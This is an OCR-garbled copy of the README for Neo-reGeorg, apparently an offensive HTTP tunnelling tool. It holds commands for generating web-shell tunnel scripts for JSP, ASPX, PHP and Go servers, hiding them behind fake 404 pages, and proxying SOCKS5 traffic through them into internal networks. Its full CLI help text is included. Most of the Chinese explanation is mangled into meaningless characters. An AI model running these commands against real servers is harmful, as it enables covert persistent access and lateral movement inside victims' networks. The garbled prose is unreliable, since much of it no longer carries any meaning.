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python -m pip install requests

# Ak
python -m pip install requests[socks] # socks5 {RIRXIF
python -m pip install curl-cffi # WA curl-cffi FE, $EFHERERTEEM

python -m pip install requests_ntlm # NTLM JAMESTHF

Basic Usage

o Step 1. 1% E #HALA A tunnel.(aspx|ashx|jsp|jspx|php) F_E{EZZIWEBAR %28

$ python neoreg.py generate -k password
[+] Create neoreg server files:
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel. jspx
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx

=> neoreg_servers/tunnel.php
=> neoreg_servers/tunnel.go

o Step 2. {¥ [ neoreg.py i5$% WEB R%-28 , 1EA#EENT socks5 AIE

$ python3 neoreg.py -k password -u http://xx/tunnel.php

Log Level set to [DEBUG]
Starting socks server [127.0.0.1:1080]
Tunnel at:

http://xx/tunnel.php

Advanced Usage

L STHFAERERS UG , BOAESRE KNV IEE M TEAZ (GRA%kK) 404 TTHE)

$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip

2. RS s WEB , RERERIEA BEVIIE)
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080

3. ZNEE Authorization TAMEFNRE K Header 8% Cookie
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$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB@d2VsdmU=" --cook

4 BENMBER T LEBSIBEL  NHD

$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url 3> ...

5. FFERMEER , NS Sazktss

$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>

6. {F FAim A5 A TNEE , FE/23h socks5 A% (127.0.0.1:1080 -> ip:port )

$ python neoreg.py -k <you_password> -u <url> -t <ip:port>

7. REERNBEIR (generate RIBEFRIEE L)

# ERANB S HE) NEOREGBODY
$ python3 neoreg.py -k password -T 'img=data:image/png;base64,NEOREGBODY&save=ok'
$ python3 neoreg.py -k password -T 'img=data:image/png;base64,NEOREGBODY&save=ok' -u http://127.0.0.

# NOTE AVPRERNBEAMGF -T file BPA]

8. STFF IR VLA it Neoreg IR554n , A N XTESHIEHAIME (BITIAM 1)

$ go run neoreg_servers/tunnel.go 8000
$ python3 neoreg.py -k password -u http://127.0.0.1:8000/anysting

9. 3XFF Node.js KNEFED X |, IRMEH js X const path = '/proxy_path'; | EERNFESR L -
-async-connect ¥k

$ python3 neoreg.py -k password --async-connect -u http://127.0.0.1:8000/proxy_path

o BZRTUHAENRREMNSHRESE -h BIEE

¥ AR S Im A
$ python neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
[--max-read-size KB]

Generate neoreg webshell
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optional arguments:

-h, --help show this help message and exit

-k KEY, --key KEY Specify connection key.

-0 DIR, --outdir DIR Output directory.

-f FILE, --file FILE Camouflage html page file

-c CODE, --httpcode CODE
Specify HTTP response code. When using -r, it is
recommended to <400 (default: 200)

-T STR/FILE, --request-template STR/FILE
HTTP request template (eg:
"img=data:image/png;base64,NEOREGBODY&save=ok ")

--read-buff Bytes Remote read buffer (default: 513)

--max-read-size KB Remote max read size (default: 512)

#EERS G
$ python neoreg.py -h
usage: neoreg.py [-h] -u URI [-r URL] [-R] [-t IP:PORT] -k KEY [-1 IP]

[-p PORT] [-s] [-H LINE] [-c LINE] [-x LINE] [-T STR/FILE]
[-a] [--php-skip-cookie] [--go] [--php-connect-timeout S]
[--local-dns] [--read-buff KB] [--read-interval MS]
[--write-interval MS] [--max-threads N] [--max-retry N]
[--cut-left N] [--cut-right N] [--extract EXPR]
[--ntlm-auth USER:PASS] [-v]

Socks server for Neoreg HTTP(s) tunneller (DEBUG MODE: -k debug)

optional arguments:
-h, --help show this help message and exit
-u URI, --url URI The url containing the tunnel script
-r URL, --redirect-url URL
Intranet forwarding the designated server (only
java/.net)
-R, --force-redirect Forced forwarding (only jsp -r)
-t IP:PORT, --target IP:PORT
Network forwarding Target, After setting this
parameter, port forwarding will be enabled
-k KEY, --key KEY Specify connection key
-1 IP, --listen-on IP
The default listening address (default: 127.0.0.1)
-p PORT, --listen-port PORT
The default listening port (default: 1080)
-s, --skip Skip usability testing
-H LINE, --header LINE
Pass custom header LINE to server
-c LINE, --cookie LINE
Custom init cookies
-x LINE, --proxy LINE
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Proto://host[:port] Use proxy on given port
-T STR/FILE, --request-template STR/FILE
HTTP request template (eg:
"img=data:image/png;base64,NEOREGBODY&save=ok ")
-a, --async-connect  Asynchronous CONNECT (e.g., in PHP, Node.js)
--php-skip-cookie Skip cookie availability check in php
--go Use go connection method
--php-connect-timeout S
PHP connect timeout (default: 0.5)
--local-dns Use local resolution DNS
--read-buff KB Local read buffer, max data to be sent per POST
(default: 7, max: 50)
--read-interval MS Read data interval in milliseconds (default: 300)
--write-interval MS Write data interval in milliseconds (default: 200)

--max-threads N Proxy max threads (default: 400)

--max-retry N Max retry requests (default: 10)

--cut-left N Truncate the left side of the response body
--cut-right N Truncate the right side of the response body
--extract EXPR Manually extract BODY content (eg:

<htm1><p>NEOREGBODY</p></html> )

--ntlm-auth USER:PASS
Enable NTLM authentication for web requests (format:
DOMAIN\USER:PASSWORD or USER:PASSWORD)

-V Increase verbosity level (use -vv or more for greater
effect)

Remind

o Mac OSX _F1z4T neoreg.py B , S A ERESEIMMEEMIFN , 7B ulimit -n 2560 (&%
LH shell B "BRASTHFTFFEL

License

GPL 3.0
Star History Chart

u:Star History Chart

[

" A

Source: https://github.com/L-codes/Neo-reGeorg/tree/master
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